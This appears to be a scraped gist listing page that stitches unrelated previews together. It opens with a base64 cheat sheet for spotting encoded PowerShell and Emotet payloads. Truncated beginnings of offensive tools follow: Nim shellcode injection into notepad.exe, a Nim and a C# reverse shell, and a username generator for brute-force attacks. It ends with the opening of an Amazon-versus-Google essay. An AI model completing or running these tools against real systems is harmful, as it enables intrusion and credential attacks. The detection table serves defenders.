Base64 Code | Mnemonic Aid | Decoded* | Description |
---|---|---|---|
JAB |
🗣 Jabber | $. |
Variable declaration (UTF-16), e.g. JABlAG4AdgA for $env: |
TVq |
📺 Television | MZ |
MZ header |
SUVY |
🚙 SUV | IEX |
PowerShell Invoke Expression |
SQBFAF |
🐣 Squab favorite | I.E. |
PowerShell Invoke Expression (UTF-16) |
SQBuAH |
🐣 Squab uahhh | I.n. |
PowerShell Invoke string (UTF-16) e.g. Invoke-Mimikatz |
PAA |
💪 "Pah!" | <. |
Often used by Emotet (UTF-16) |
# This is a template GitHub Action YAML file for building .NET projects. | |
# Handy for forking .NET assembly projects and building easily without VS. | |
# Make sure to replace "MyAssembly" with the name of the project! | |
name: .NET | |
on: | |
push: | |
branches: [ main ] | |
pull_request: | |
branches: [ main ] |
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = | |
let tProcess = startProcess("notepad.exe") |
import net | |
import osproc | |
import strformat | |
# Create Socket | |
let port = 9999 | |
let address = "127.0.0.1" | |
let sock = newSocket() | |
# Connect to listener |
namespace RevShell | |
{ | |
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Net.Sockets; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
namespace ConnectBack |
#!/usr/bin/env python3 | |
''' | |
NameMash by superkojiman | |
Generate a list of possible usernames from a person's first and last name. | |
https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/ | |
''' |
I was at Amazon for about six and a half years, and now I've been at Google for that long. One thing that struck me immediately about the two companies -- an impression that has been reinforced almost daily -- is that Amazon does everything wrong, and Google does everything right. Sure, it's a sweeping generalization, but a surprisingly accurate one. It's pretty crazy. There are probably a hundred or even two hundred different ways you can compare the two companies, and Google is superior in all but three of them, if I recall correctly. I actually did a spreadsheet at one point but Legal wouldn't let me show it to anyone, even though recruiting loved it.
I mean, just to give you a very brief taste: Amazon's recruiting process is fundamentally flawed by having teams hire for themselves, so their hiring bar is incredibly inconsistent across teams, despite various efforts they've made to level it out. And their operations are a mess; they don't real